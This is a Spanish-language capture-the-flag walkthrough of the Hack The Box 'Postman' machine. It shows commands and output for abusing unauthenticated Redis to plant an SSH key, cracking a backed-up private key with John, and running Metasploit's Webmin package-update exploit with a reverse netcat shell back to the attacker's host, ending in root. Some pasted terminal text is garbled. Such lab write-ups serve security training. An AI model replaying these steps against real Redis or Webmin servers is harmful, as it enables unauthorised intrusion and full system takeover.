HTB MÁQUINA POSTMAN

Veamos las características de la Máquina, vemos que tiene una puntuación de 4.0, es una maquina en Linux y que está en la categoría de fácil.



User:



Realizamos en escaneo con Nmap y vemos que el puerto 6379/tcp está abierto, pues vamos a ver que podemos hacer con redis.

Referencia(https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html)

Lo principal es revisar que tengamos una conexión

```
cotekali:-/Hackthebox/10.10.10.10.100# telnet 10.10.10.160 6379
Trying 10.10.10.160...
Connected to 10.10.10.160.
Escape character is '^]'.
echo "Frlends"
$7
Frlends
quit
+0K
Connection closed by foreign host.
cotekali:-/Hackthebox/10.10.10.160#
```

De esta manera vemos que contamos con una conexión

Como podemos ver no tiene una contraseña configurada, así que podemos tratar de escribir algo en Authorized_keys, con lo que nos crea el archivo id_rsa y id_rsa.pub con la contraseña que hemos puesto.

Ahora debemos poner esta clave en la memoria del servidor redis y darle salida en un archivo .txt

```
root@kali:-/Hackthebox/10.10.10.00# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
root@kali:-/Hackthebox/10.10.10.00# ls key.txt
key.txt
root@kali:-/Hackthebox/10.10.10.00# cat key.txt

ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABgQDmDVd/Nyrw300Z0jfQ+4GuYZVVay3bCx05at4DzE6r+GH10k9UM9GxUYm5lT98SVsxdTaDGVV+U7Q058GhIdyzUFH06Zsnhk0AqD11T0/1E7P
zRIKVCVL8AxFhQkvPvjhPiy64zPSMCgM4SvVj9SYwk7JZXocMFm3lYr+9qb/IgIT9kni/rvmstPF-XjgaAPFxtGDk/KkNfc1C2rEUTwE6HhgU7AdIXsEzsM3MaUkUqv33Eowf6dvmBqp4z8wXL
0uZDnoy/Sp05ro70Bxw2VzW0GCA-wack343H7mdz3czewB9Blz1giliApE%3ffy3VsScSDsuwZygxDebiZNr3XCTxDM50Xs+piDsXismgVj3jbsixsIYA-bnjlpq68yN+9WgEaJzpfLURPZ7qd4l
fQ8lEQc3lc3kGZcqfSeZqsXS+9dyOAur8bI175MdflcIxaXnAJRqfo/zGTyW01munBMR6ks6nxbXIf6tsSesAhDK2CfJUhogjx5zVS9alujekE= Frlends@htb

root@kali:-/Hackthebox/10.10.10.160#
```

Con esto logramos que key.txt sea nuestra clave pública. Ahora utilizaremos redis-cli para escribir esta cadena dentro de la memoria de redis. Y así volcar la memoria en el archivo authorized_keys. Y guardamos.

Con este paso el archivo de authorized keys debe tener incluida nuestra clave pública.

```
rootakali:~/Hackthebox/10.10.10.160# ssh -i id_rsa_redis@10.10.16.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

* Canonical Livepatch is available for installation.

- Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Dec    4 18:03:39 2019 from 10.10.15.185
redis@Postman:~$
redis@Postman:~$ hostname
Postman
redis@Postman:~$
```

Encontramos el user.txt, pero no tenemos los permisos necesarios para leer el archivo, pero sabemos que hay un usuario llamado Matt.

así que debemos encontrar una forma de autenticarnos con Matt, buscando en la maquina encontramos un archivo llamado id_rsa.bak, lo leemos y al tenemos un archivo encriptado, pues

vamos a ver que puede darnos este archivo. Lo guardamos como id_rsa.hash y en este caso vamos a tratar de desencriptar este archivo con ssh2john y posteriormente le pasamos rockyou con John.

De esta manera tenemos un usuario y una contraseña, debemos buscar la forma de pasarnos de redis a Matt, con el comando **su Matt** desde redis ponemos la contraseña y nos pasamos al usuario Matt.

```
# redis-cli -h 10.10.10.160
10.10.10.160:6379> config get dir
1) "dir"
OK
10.10.10.160:6379> save
10.10.10.160:6379> quit
root@kali:-/Hackthebox/10.10.10.160# ssh -i id rsa redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86 64)
   Documentation: https://help.ubuntu.com
   Management:
                       https://landscape.canonical.com
https://ubuntu.com/advantage
   Support:
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Password:
 latt@Postman:/var/lib/redis$ cd /home/Matt/
latt@Postman:~$ ls
user.txt
       ostman:-$
                                                                                                                     100% | 15:07
                    1 openyon 2 Explotación
```

de esta manera obtenemos nuestra primer flag

• Escalada de Privilegios:

Vamos a utilizar metasploit para la explotación del puerto 10000 con los datos obtenidos hasta el momento utilizaremos el exploit webmin_packageup_rce

```
а
                                                                                                                                   kali □ 0 • 2 Explotación
  dule options (exploit/linux/http/webmin_packageup_rce):
                          Current Setting Required Description
                                                            yes Webmin Password
no A proxy chain of format type:host:port[,type:host:port][...]
yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
yes The target port (TCP)
no Negotiate SSL/TLS for outgoing connections
yes Base path for Webmin application
yes Webmin Username
no HTTP server virtual host
    PASSWORD
    Proxies
RHOSTS
RPORT
     TARGETURI /
     USERNAME
 ayload options (cmd/unix/reverse perl):
    Name Current Setting Required Description
   LHOST yes
LPORT 4444 yes
                                                                         The listen address (an interface may be specified) The listen port
 xploit target:
    Id Name
    0 Webmin <= 1.910
                                                                                  rce) > set password computer2008
nsf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
password => computer2008
pasf6 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.160
nsf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
sef exploit(linux/http/webmin_packageup_rce) > set payload cmd/unix/reverse_netcat
is12 exploit(\innux\http\/webaln\packageup_rce) > set payload cmd/unix/re
payload => cmd/unix/reverse_netcat
ssf5 exploit(\innux\http\/webaln\packageup_rce) > set lhost 10.10.15.249
host => 10.10.15.249
sf5 exploit(\innux\http\/webaln\packageup_rce) > set ssl true
sl => frue
ssl => true
<u>nsf5</u> exploit(
                                                                                         ) > 
                          1 openyon 2 Explotación
```

Vamos a hacer uso del comando python -c 'import pty;pty.spawn("/bin/bash")' para tener una Shell más completo.

```
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.15.249:4444

[+] Session cookie: 76c5a5240e32c7771b525bc89abe12dc

[*] Attempting to execute the payload...

[*] Command shell session 1 opened (10.10.15.249:4444 -> 10.10.10.160:54814) at 2019-12-04 16:02:14 -0500

python -c 'import pty;pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Postman:/usr/share/webmin/package-updates/# cd /root/
cd /root/
root@Postman:-# ls
ls
redis-5.0.0 root.txt
root@Postman:-#

1 0 14 47 1 1 openypn 2 Explotacion
```

De esta manera encontramos la flag del Root.

Saludos Fr13ndS HTB

